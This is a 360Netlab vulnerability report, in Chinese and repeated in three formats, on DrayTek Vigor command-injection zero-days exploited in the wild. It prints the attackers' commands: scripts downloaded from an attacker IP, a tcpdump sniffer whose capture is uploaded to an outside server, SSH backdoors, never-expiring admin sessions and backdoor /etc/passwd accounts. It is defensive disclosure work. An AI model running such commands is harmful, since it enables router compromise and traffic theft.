DrayTek Vigor企业级路由器和交换机设备在野0-day 漏洞分析报告
<!--kg-card-begin: markdown--><p><em>本文作者：<a href="https://twitter.com/_O_owl">马延龙</a>，<a href="https://twitter.com/zom3y3">叶根深</a>，<a href="https://twitter.com/_E_nn_">刘宏达</a></em></p>
<h3 id="">背景介绍</h3>
<p>从2019年12月4开始，360Netlab未知威胁检测系统持续监测到两个攻击团伙使用DrayTek Vigor企业级路由器和交换机设备0-day漏洞，窃听设备网络流量，开启SSH服务并创建系统后门账号，创建Web Session后门等恶意行为。</p>
<p>2019年12月25号，我们在Twitter[<a href="https://twitter.com/360Netlab/status/1209763610525757443">1]</a>[<a href="https://twitter.com/360Netlab/status/1209763784572555264">2]</a>上披露了DrayTek Vigor在野0-day漏洞攻击IoC特征，并给相关国家CERT提供技术支持。</p>
<p>2020年2月10号，厂商DrayTek发布安全公告[<a href="https://www.draytek.com/about/security-advisory/vigor3900-/-vigor2960-/-vigor300b-router-web-management-page-vulnerability-(cve-2020-8515)/">3]</a>，修复了该漏洞并发布了最新的固件程序1.5.1。</p>
<h3 id="">漏洞分析</h3>
<p>我们根据Firmware Total系统[<a href="https://ft.iotsec.360.cn/">4]</a> 进行DrayTek Vigor在野0-day漏洞定位和模拟漏洞验证。其中2个0-day漏洞命令注入点<code>keyPath</code>，<code>rtick</code>已经被厂商修复，它们均位于<code>/www/cgi-bin/mainfunction.cgi</code>程序中，对应的Web Server程序为<code>/usr/sbin/lighttpd</code>。</p>
<h4 id="keypath">keyPath 命令注入漏洞分析</h4>
<p>漏洞类型：未授权远程命令执行漏洞<br>
漏洞原因：DrayTek Vigor网络设备在登陆时支持2种账号密码传输方式，分别为明文传输和RSA加密传输。</p>
<p>当使用RSA加密传输时，交互逻辑为：</p>
<ol>
<li>Web前端使用RSA公钥对用户名和密码进行加密，并用<code>keyPath</code>字段指定RSA私钥的文件后缀，发起登陆请求；</li>
<li><code>/www/cgi-bin/mainfunction.cgi</code>程序中的<code>formLogin()</code>函数检测到<code>keyPath</code>字段不为空时，开始进行解密操作；</li>
<li><code>formLogin()</code>函数根据<code>keyPath</code>字段，拼接如下路径<code>/tmp/rsa/private_key_&lt;keyPath&gt;</code>作为RSA私钥；</li>
<li><code>formLogin()</code>函数分别对用户名、密码字段进行Base64解码，并写入到<code>/tmp/rsa/binary_login</code>文件中，然后拼接如下命令并通过openssl命令解密；<pre><code class="language-sh">openssl rsautl -inkey '/tmp/rsa/private_key_&lt;keyPath&gt;' -decrypt -in /tmp/rsa/binary_login
</code></pre>
</li>
<li>最后<code>formLogin()</code>函数读取解密后的用户名、密码进行验证。</li>
</ol>
<p>由于在以上过程中对<code>keyPath</code>字段的危险字符过滤不完善，导致无需授权的远程命令执行。</p>
<p>漏洞修复：在1.5.1版本中，厂商对<code>keyPath</code>字段限定长度为30，并限定字符必须为十六进制字符。<br>
<a href="__GHOST_URL__/content/images/2020/03/WechatIMG348.png"><img src="__GHOST_URL__/content/images/2020/03/WechatIMG348.png" class="kg-image"/></a></p>
<h4 id="rtick">rtick 命令注入漏洞分析</h4>
<p>漏洞类型：未授权远程命令执行漏洞<br>
漏洞原因：<code>/www/cgi-bin/mainfunction.cgi</code>程序中获取验证码的函数是<code>formCaptcha()</code>，该函数没有过滤传入的时间戳(rtick)，就调用<code>/usr/sbin/captcha</code>程序生成以<code>&lt;rtick&gt;.gif</code>为名称的验证码图片，导致命令注入。</p>
<p>漏洞修复：在1.5.1版本中，厂商对rtick字段限定字符必须为<code>[0-9]</code>。<br>
<a href="__GHOST_URL__/content/images/2020/03/1585282366543.png"><img src="__GHOST_URL__/content/images/2020/03/1585282366543.png" class="kg-image"/></a></p>
<h3 id="0day">在野0-day攻击行为分析</h3>
<h4 id="a">攻击者A</h4>
<ol>
<li>攻击者A利用<code>keyPath</code>命令注入漏洞，下载并执行<code>http://103.82.143.51:58172/vig/tcpst1</code>脚本，然后继续下载并执行以下脚本。</li>
</ol>
<pre><code>http://103.82.143.51:58172/vi1
http://103.82.143.51:58172/vig/mailsend.sh1
</code></pre>
<ol start="2">
<li>攻击者A通过脚本<code>/etc/mailsend.sh</code>，窃听DrayTek Vigor网络设备上所有网卡，端口为21，25，143，110的流量。<br>
其中抓包命令为：<br>
<code>/usr/sbin/tcpdump -i any -n -nn port 21 or port 25 or port 143 or port 110 -s 65535 -w /data/firewall.pcap &amp;</code><br>
在每周一，三，五，0点0分时，通过crontab计划任务上传窃听到网络数据包<code>/data/firewall.pcap</code>给<code>https://103.82.143.51:58443/uploLSkciajUS.php</code>。</li>
</ol>
<h4 id="b">攻击者B</h4>
<ol>
<li>攻击者B利用rtick命令注入漏洞，在<code>/var/session.json</code>文件中创建了2组永不过期的Web Session 后门；</li>
</ol>
<pre><code>json -f /var/session.json set 7:CBZD1SOMBUHVAF34TPDGURT9RTMLRUDK username=sadmin level=7 lasttime=0 updatetime=0 | sed -i s/&quot;&quot;\&quot;&quot;0\&quot;&quot;&quot;&quot;/&quot;&quot;0&quot;&quot;/g /var/session.json | sed -i s/&quot;&quot;\&quot;&quot;7\&quot;&quot;&quot;&quot;/&quot;&quot;7&quot;&quot;/g /var/session.json
json -f /var/session.json set 7:R8GFPS6E705MEXZWVQ0IB1SM7JTRVE57 username=sadmin level=7 lasttime=0 updatetime=0 | sed -i s/&quot;&quot;\&quot;&quot;0\&quot;&quot;&quot;&quot;/&quot;&quot;0&quot;&quot;/g /var/session.json | sed -i s/&quot;&quot;\&quot;&quot;7\&quot;&quot;&quot;&quot;/&quot;&quot;7&quot;&quot;/g /var/session.json
</code></pre>
<ol start="2">
<li>攻击者B利用rtick注入漏洞，在TCP/22335，TCP/32459端口开启了SSH后门；</li>
</ol>
<pre><code>/usr/sbin/dropbear -r /etc/config/dropbear_rsa_host_key -p 22335 | iptables -I PPTP_CTRL 1 -p tcp --dport 22335 -j ACCEPT
/usr/sbin/dropbear -r /etc/config/dropbear_rsa_host_key -p 32459 | iptables -I PPTP_CTRL 1 -p tcp --dport 32459 -j ACCEPT
</code></pre>
<ol start="3">
<li>攻击者创建了系统后门账号<code>wuwuhanhan:caonimuqin</code>。</li>
</ol>
<pre><code>sed -i /wuwuhanhan:/d /etc/passwd ; echo 'wuwuhanhan:$1$3u34GCgO$9Pklx3.3OVwbIBja/CzZN/:500:500:admin:/tmp:/usr/bin/clish' &gt;&gt; /etc/passwd ; cat /etc/passwd;
sed -i /wuwuhanhan:/d /etc/passwd ; echo 'wuwuhanhan:$1$sbIljOP5$vacGOLqYAXcw3LWek9aJQ.:500:500:admin:/tmp:/usr/bin/clish' &gt;&gt; /etc/passwd ; cat /etc/passwd;
</code></pre>
<h3 id="websession">Web Session后门</h3>
<p>我们根据攻击者B在野0-day PoC研究发现DrayTek Vigor网络设备在Session中设置<code>updatetime</code>为0时，对应的功能是Auto-Logout: Disable。此时，这个Session会话永不过期，除非设备重启。<br>
<a href="__GHOST_URL__/content/images/2020/03/WechatIMG280.png"><img src="__GHOST_URL__/content/images/2020/03/WechatIMG280.png" class="kg-image"/></a></p>
<h3 id="">时间线</h3>
<pre><code>2019年12月4号，我们发现攻击者A使用DrayTek Vigor网络设备0-day keyPath漏洞，窃听设备网络流量。
2019年12月25号，我们在Twitter上披露攻击者A的IoC特征，并给相关国家CERT提供技术支持。
2020年1月28号，我们发现攻击者B使用DrayTek Vigor网络设备0-day rtick漏洞，创建SSH和WEB后门。
2020年2月1号，MITRE发布Vigor路由器0-day漏洞编号CVE-2020-8515。
2020年2月10号，DrayTek发布安全公告和最新的固件程序。
</code></pre>
<h3 id="">受影响的固件列表</h3>
<pre><code>Vigor2960           &lt;  v1.5.1
Vigor300B           &lt;  v1.5.1
Vigor3900           &lt;  v1.5.1
VigorSwitch20P2121  &lt;= v2.3.2
VigorSwitch20G1280  &lt;= v2.3.2
VigorSwitch20P1280  &lt;= v2.3.2
VigorSwitch20G2280  &lt;= v2.3.2
VigorSwitch20P2280  &lt;= v2.3.2
</code></pre>
<h3 id="">处置建议</h3>
<p>我们建议DrayTek Vigor用户及时检查并更新固件系统，同时检查是否存在tcpdump进程，SSH后门账号, Web Session后门等。</p>
<p>我们建议读者对相关IP和URL进行监控和封锁。</p>
<h3 id="">联系我们</h3>
<p>感兴趣的读者，可以在 <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a> 或者在微信公众号 <strong>360Netlab</strong> 上联系我们。</p>
<h3 id="ioclist">IoC list</h3>
<p>MD5</p>
<pre><code>7c42b66ef314c466c1e3ff6b35f134a4
01946d5587c2774418b5a6c181199099
d556aa48fa77040a03ab120b4157c007
</code></pre>
<p>URL</p>
<pre><code>http://103.82.143.51:58172/vig/tcpst1
http://103.82.143.51:58172/vi1
http://103.82.143.51:58172/vig/mailsend.sh1
https://103.82.143.51:58443/LSOCAISJDANSB.php
https://103.82.143.51:58443/uploLSkciajUS.php
</code></pre>
<p>Scanner IP</p>
<pre><code>103.82.143.51       	Korea                   ASN136209           	Korea Fast Networks 
178.151.198.73      	Ukraine             	ASN13188            	Content Delivery Network Ltd
</code></pre>
<!--kg-card-end: markdown-->
本文作者：马延龙，叶根深，刘宏达



背景介绍


从2019年12月4开始，360Netlab未知威胁检测系统持续监测到两个攻击团伙使用DrayTek Vigor企业级路由器和交换机设备0-day漏洞，窃听设备网络流量，开启SSH服务并创建系统后门账号，创建Web Session后门等恶意行为。


2019年12月25号，我们在Twitter[1][2]上披露了DrayTek Vigor在野0-day漏洞攻击IoC特征，并给相关国家CERT提供技术支持。


2020年2月10号，厂商DrayTek发布安全公告[3]，修复了该漏洞并发布了最新的固件程序1.5.1。



漏洞分析


我们根据Firmware Total系统[4] 进行DrayTek Vigor在野0-day漏洞定位和模拟漏洞验证。其中2个0-day漏洞命令注入点keyPath，rtick已经被厂商修复，它们均位于/www/cgi-bin/mainfunction.cgi程序中，对应的Web Server程序为/usr/sbin/lighttpd。


keyPath 命令注入漏洞分析


漏洞类型：未授权远程命令执行漏洞

漏洞原因：DrayTek Vigor网络设备在登陆时支持2种账号密码传输方式，分别为明文传输和RSA加密传输。


当使用RSA加密传输时，交互逻辑为：


 1. Web前端使用RSA公钥对用户名和密码进行加密，并用keyPath字段指定RSA私钥的文件后缀，发起登陆请求；
 2. /www/cgi-bin/mainfunction.cgi程序中的formLogin()函数检测到keyPath字段不为空时，开始进行解密操作；
 3. formLogin()函数根据keyPath字段，拼接如下路径/tmp/rsa/private_key_<keyPath>作为RSA私钥；
 4. formLogin()函数分别对用户名、密码字段进行Base64解码，并写入到/tmp/rsa/binary_login文件中，然后拼接如下命令并通过openssl命令解密；
    
    openssl rsautl -inkey '/tmp/rsa/private_key_<keyPath>' -decrypt -in /tmp/rsa/binary_login
    
    

 5. 最后formLogin()函数读取解密后的用户名、密码进行验证。


由于在以上过程中对keyPath字段的危险字符过滤不完善，导致无需授权的远程命令执行。


漏洞修复：在1.5.1版本中，厂商对keyPath字段限定长度为30，并限定字符必须为十六进制字符。




rtick 命令注入漏洞分析


漏洞类型：未授权远程命令执行漏洞

漏洞原因：/www/cgi-bin/mainfunction.cgi程序中获取验证码的函数是formCaptcha()，该函数没有过滤传入的时间戳(rtick)，就调用/usr/sbin/captcha程序生成以<rtick>.gif为名称的验证码图片，导致命令注入。


漏洞修复：在1.5.1版本中，厂商对rtick字段限定字符必须为[0-9]。





在野0-day攻击行为分析


攻击者A


 1. 攻击者A利用keyPath命令注入漏洞，下载并执行http://103.82.143.51:58172/vig/tcpst1脚本，然后继续下载并执行以下脚本。


http://103.82.143.51:58172/vi1
http://103.82.143.51:58172/vig/mailsend.sh1



 2. 攻击者A通过脚本/etc/mailsend.sh，窃听DrayTek Vigor网络设备上所有网卡，端口为21，25，143，110的流量。
    
    其中抓包命令为：
    
    /usr/sbin/tcpdump -i any -n -nn port 21 or port 25 or port 143 or port 110 -s 65535 -w /data/firewall.pcap &
    
    在每周一，三，五，0点0分时，通过crontab计划任务上传窃听到网络数据包/data/firewall.pcap给https://103.82.143.51:58443/uploLSkciajUS.php。


攻击者B


 1. 攻击者B利用rtick命令注入漏洞，在/var/session.json文件中创建了2组永不过期的Web Session 后门；


json -f /var/session.json set 7:CBZD1SOMBUHVAF34TPDGURT9RTMLRUDK username=sadmin level=7 lasttime=0 updatetime=0 | sed -i s/""\""0\""""/""0""/g /var/session.json | sed -i s/""\""7\""""/""7""/g /var/session.json
json -f /var/session.json set 7:R8GFPS6E705MEXZWVQ0IB1SM7JTRVE57 username=sadmin level=7 lasttime=0 updatetime=0 | sed -i s/""\""0\""""/""0""/g /var/session.json | sed -i s/""\""7\""""/""7""/g /var/session.json



 2. 攻击者B利用rtick注入漏洞，在TCP/22335，TCP/32459端口开启了SSH后门；


/usr/sbin/dropbear -r /etc/config/dropbear_rsa_host_key -p 22335 | iptables -I PPTP_CTRL 1 -p tcp --dport 22335 -j ACCEPT
/usr/sbin/dropbear -r /etc/config/dropbear_rsa_host_key -p 32459 | iptables -I PPTP_CTRL 1 -p tcp --dport 32459 -j ACCEPT



 3. 攻击者创建了系统后门账号wuwuhanhan:caonimuqin。


sed -i /wuwuhanhan:/d /etc/passwd ; echo 'wuwuhanhan:$1$3u34GCgO$9Pklx3.3OVwbIBja/CzZN/:500:500:admin:/tmp:/usr/bin/clish' >> /etc/passwd ; cat /etc/passwd;
sed -i /wuwuhanhan:/d /etc/passwd ; echo 'wuwuhanhan:$1$sbIljOP5$vacGOLqYAXcw3LWek9aJQ.:500:500:admin:/tmp:/usr/bin/clish' >> /etc/passwd ; cat /etc/passwd;




Web Session后门


我们根据攻击者B在野0-day PoC研究发现DrayTek Vigor网络设备在Session中设置updatetime为0时，对应的功能是Auto-Logout: Disable。此时，这个Session会话永不过期，除非设备重启。





时间线


2019年12月4号，我们发现攻击者A使用DrayTek Vigor网络设备0-day keyPath漏洞，窃听设备网络流量。
2019年12月25号，我们在Twitter上披露攻击者A的IoC特征，并给相关国家CERT提供技术支持。
2020年1月28号，我们发现攻击者B使用DrayTek Vigor网络设备0-day rtick漏洞，创建SSH和WEB后门。
2020年2月1号，MITRE发布Vigor路由器0-day漏洞编号CVE-2020-8515。
2020年2月10号，DrayTek发布安全公告和最新的固件程序。




受影响的固件列表


Vigor2960           <  v1.5.1
Vigor300B           <  v1.5.1
Vigor3900           <  v1.5.1
VigorSwitch20P2121  <= v2.3.2
VigorSwitch20G1280  <= v2.3.2
VigorSwitch20P1280  <= v2.3.2
VigorSwitch20G2280  <= v2.3.2
VigorSwitch20P2280  <= v2.3.2




处置建议


我们建议DrayTek Vigor用户及时检查并更新固件系统，同时检查是否存在tcpdump进程，SSH后门账号, Web Session后门等。


我们建议读者对相关IP和URL进行监控和封锁。



联系我们


感兴趣的读者，可以在 twitter 或者在微信公众号 360Netlab 上联系我们。



IoC list


MD5


7c42b66ef314c466c1e3ff6b35f134a4
01946d5587c2774418b5a6c181199099
d556aa48fa77040a03ab120b4157c007



URL


http://103.82.143.51:58172/vig/tcpst1
http://103.82.143.51:58172/vi1
http://103.82.143.51:58172/vig/mailsend.sh1
https://103.82.143.51:58443/LSOCAISJDANSB.php
https://103.82.143.51:58443/uploLSkciajUS.php



Scanner IP


103.82.143.51       	Korea                   ASN136209           	Korea Fast Networks 
178.151.198.73      	Ukraine             	ASN13188            	Content Delivery Network Ltd


{"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"*本文作者：[马延龙](https://twitter.com/_O_owl)，[叶根深](https://twitter.com/zom3y3)，[刘宏达](https://twitter.com/_E_nn_)*\n\n### 背景介绍\n从2019年12月4开始，360Netlab未知威胁检测系统持续监测到两个攻击团伙使用DrayTek Vigor企业级路由器和交换机设备0-day漏洞，窃听设备网络流量，开启SSH服务并创建系统后门账号，创建Web Session后门等恶意行为。\n\n2019年12月25号，我们在Twitter[[1\\]](https://twitter.com/360Netlab/status/1209763610525757443)[[2\\]](https://twitter.com/360Netlab/status/1209763784572555264)上披露了DrayTek Vigor在野0-day漏洞攻击IoC特征，并给相关国家CERT提供技术支持。\n\n2020年2月10号，厂商DrayTek发布安全公告[[3\\]](https://www.draytek.com/about/security-advisory/vigor3900-/-vigor2960-/-vigor300b-router-web-management-page-vulnerability-(cve-2020-8515)/)，修复了该漏洞并发布了最新的固件程序1.5.1。\n\n### 漏洞分析\n我们根据Firmware Total系统[[4\\]](https://ft.iotsec.360.cn/) 进行DrayTek Vigor在野0-day漏洞定位和模拟漏洞验证。其中2个0-day漏洞命令注入点`keyPath`，`rtick`已经被厂商修复，它们均位于`/www/cgi-bin/mainfunction.cgi`程序中，对应的Web Server程序为`/usr/sbin/lighttpd`。\n\n#### keyPath 命令注入漏洞分析\n漏洞类型：未授权远程命令执行漏洞\n漏洞原因：DrayTek Vigor网络设备在登陆时支持2种账号密码传输方式，分别为明文传输和RSA加密传输。\n\n当使用RSA加密传输时，交互逻辑为：\n1. Web前端使用RSA公钥对用户名和密码进行加密，并用`keyPath`字段指定RSA私钥的文件后缀，发起登陆请求；\n2. `/www/cgi-bin/mainfunction.cgi`程序中的`formLogin()`函数检测到`keyPath`字段不为空时，开始进行解密操作；\n3. `formLogin()`函数根据`keyPath`字段，拼接如下路径`/tmp/rsa/private_key_<keyPath>`作为RSA私钥；\n4. `formLogin()`函数分别对用户名、密码字段进行Base64解码，并写入到`/tmp/rsa/binary_login`文件中，然后拼接如下命令并通过openssl命令解密；\n   ```sh\n   openssl rsautl -inkey '/tmp/rsa/private_key_<keyPath>' -decrypt -in /tmp/rsa/binary_login\n   ```\n5. 最后`formLogin()`函数读取解密后的用户名、密码进行验证。\n\n由于在以上过程中对`keyPath`字段的危险字符过滤不完善，导致无需授权的远程命令执行。\n\n漏洞修复：在1.5.1版本中，厂商对`keyPath`字段限定长度为30，并限定字符必须为十六进制字符。\n<a href=\"__GHOST_URL__/content/images/2020/03/WechatIMG348.png\"><img src=\"__GHOST_URL__/content/images/2020/03/WechatIMG348.png\" class=\"kg-image\"/></a>\n\n\n#### rtick 命令注入漏洞分析\n漏洞类型：未授权远程命令执行漏洞\n漏洞原因：`/www/cgi-bin/mainfunction.cgi`程序中获取验证码的函数是`formCaptcha()`，该函数没有过滤传入的时间戳(rtick)，就调用`/usr/sbin/captcha`程序生成以`<rtick>.gif`为名称的验证码图片，导致命令注入。\n\n漏洞修复：在1.5.1版本中，厂商对rtick字段限定字符必须为`[0-9]`。\n<a href=\"__GHOST_URL__/content/images/2020/03/1585282366543.png\"><img src=\"__GHOST_URL__/content/images/2020/03/1585282366543.png\" class=\"kg-image\"/></a>\n\n### 在野0-day攻击行为分析\n#### 攻击者A\n1. 攻击者A利用`keyPath`命令注入漏洞，下载并执行`http://103.82.143.51:58172/vig/tcpst1`脚本，然后继续下载并执行以下脚本。\n```\nhttp://103.82.143.51:58172/vi1\nhttp://103.82.143.51:58172/vig/mailsend.sh1\n```\n\n2. 攻击者A通过脚本`/etc/mailsend.sh`，窃听DrayTek Vigor网络设备上所有网卡，端口为21，25，143，110的流量。\n其中抓包命令为：\n`/usr/sbin/tcpdump -i any -n -nn port 21 or port 25 or port 143 or port 110 -s 65535 -w /data/firewall.pcap &`\n在每周一，三，五，0点0分时，通过crontab计划任务上传窃听到网络数据包`/data/firewall.pcap`给`https://103.82.143.51:58443/uploLSkciajUS.php`。\n\n#### 攻击者B\n1. 攻击者B利用rtick命令注入漏洞，在`/var/session.json`文件中创建了2组永不过期的Web Session 后门；\n```\njson -f /var/session.json set 7:CBZD1SOMBUHVAF34TPDGURT9RTMLRUDK username=sadmin level=7 lasttime=0 updatetime=0 | sed -i s/\"\"\\\"\"0\\\"\"\"\"/\"\"0\"\"/g /var/session.json | sed -i s/\"\"\\\"\"7\\\"\"\"\"/\"\"7\"\"/g /var/session.json\njson -f /var/session.json set 7:R8GFPS6E705MEXZWVQ0IB1SM7JTRVE57 username=sadmin level=7 lasttime=0 updatetime=0 | sed -i s/\"\"\\\"\"0\\\"\"\"\"/\"\"0\"\"/g /var/session.json | sed -i s/\"\"\\\"\"7\\\"\"\"\"/\"\"7\"\"/g /var/session.json\n```\n2. 攻击者B利用rtick注入漏洞，在TCP/22335，TCP/32459端口开启了SSH后门；\n```\n/usr/sbin/dropbear -r /etc/config/dropbear_rsa_host_key -p 22335 | iptables -I PPTP_CTRL 1 -p tcp --dport 22335 -j ACCEPT\n/usr/sbin/dropbear -r /etc/config/dropbear_rsa_host_key -p 32459 | iptables -I PPTP_CTRL 1 -p tcp --dport 32459 -j ACCEPT\n```\n3. 攻击者创建了系统后门账号`wuwuhanhan:caonimuqin`。\n```\nsed -i /wuwuhanhan:/d /etc/passwd ; echo 'wuwuhanhan:$1$3u34GCgO$9Pklx3.3OVwbIBja/CzZN/:500:500:admin:/tmp:/usr/bin/clish' >> /etc/passwd ; cat /etc/passwd;\nsed -i /wuwuhanhan:/d /etc/passwd ; echo 'wuwuhanhan:$1$sbIljOP5$vacGOLqYAXcw3LWek9aJQ.:500:500:admin:/tmp:/usr/bin/clish' >> /etc/passwd ; cat /etc/passwd;\n```\n\n### Web Session后门\n我们根据攻击者B在野0-day PoC研究发现DrayTek Vigor网络设备在Session中设置`updatetime`为0时，对应的功能是Auto-Logout: Disable。此时，这个Session会话永不过期，除非设备重启。\n<a href=\"__GHOST_URL__/content/images/2020/03/WechatIMG280.png\"><img src=\"__GHOST_URL__/content/images/2020/03/WechatIMG280.png\" class=\"kg-image\"/></a>\n\n### 时间线\n```\n2019年12月4号，我们发现攻击者A使用DrayTek Vigor网络设备0-day keyPath漏洞，窃听设备网络流量。\n2019年12月25号，我们在Twitter上披露攻击者A的IoC特征，并给相关国家CERT提供技术支持。\n2020年1月28号，我们发现攻击者B使用DrayTek Vigor网络设备0-day rtick漏洞，创建SSH和WEB后门。\n2020年2月1号，MITRE发布Vigor路由器0-day漏洞编号CVE-2020-8515。\n2020年2月10号，DrayTek发布安全公告和最新的固件程序。\n```\n\n### 受影响的固件列表\n```\nVigor2960           <  v1.5.1\nVigor300B           <  v1.5.1\nVigor3900           <  v1.5.1\nVigorSwitch20P2121  <= v2.3.2\nVigorSwitch20G1280  <= v2.3.2\nVigorSwitch20P1280  <= v2.3.2\nVigorSwitch20G2280  <= v2.3.2\nVigorSwitch20P2280  <= v2.3.2\n```\n\n### 处置建议\n我们建议DrayTek Vigor用户及时检查并更新固件系统，同时检查是否存在tcpdump进程，SSH后门账号, Web Session后门等。\n\n我们建议读者对相关IP和URL进行监控和封锁。\n\n### 联系我们\n感兴趣的读者，可以在 [**twitter**](https://twitter.com/360Netlab) 或者在微信公众号 **360Netlab** 上联系我们。\n\n\n### IoC list\n\nMD5\n```\n7c42b66ef314c466c1e3ff6b35f134a4\n01946d5587c2774418b5a6c181199099\nd556aa48fa77040a03ab120b4157c007\n```\n\nURL\n```\nhttp://103.82.143.51:58172/vig/tcpst1\nhttp://103.82.143.51:58172/vi1\nhttp://103.82.143.51:58172/vig/mailsend.sh1\nhttps://103.82.143.51:58443/LSOCAISJDANSB.php\nhttps://103.82.143.51:58443/uploLSkciajUS.php\n```\n\nScanner IP\n```\n103.82.143.51       \tKorea                   ASN136209           \tKorea Fast Networks \n178.151.198.73      \tUkraine             \tASN13188            \tContent Delivery Network Ltd\n```"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"}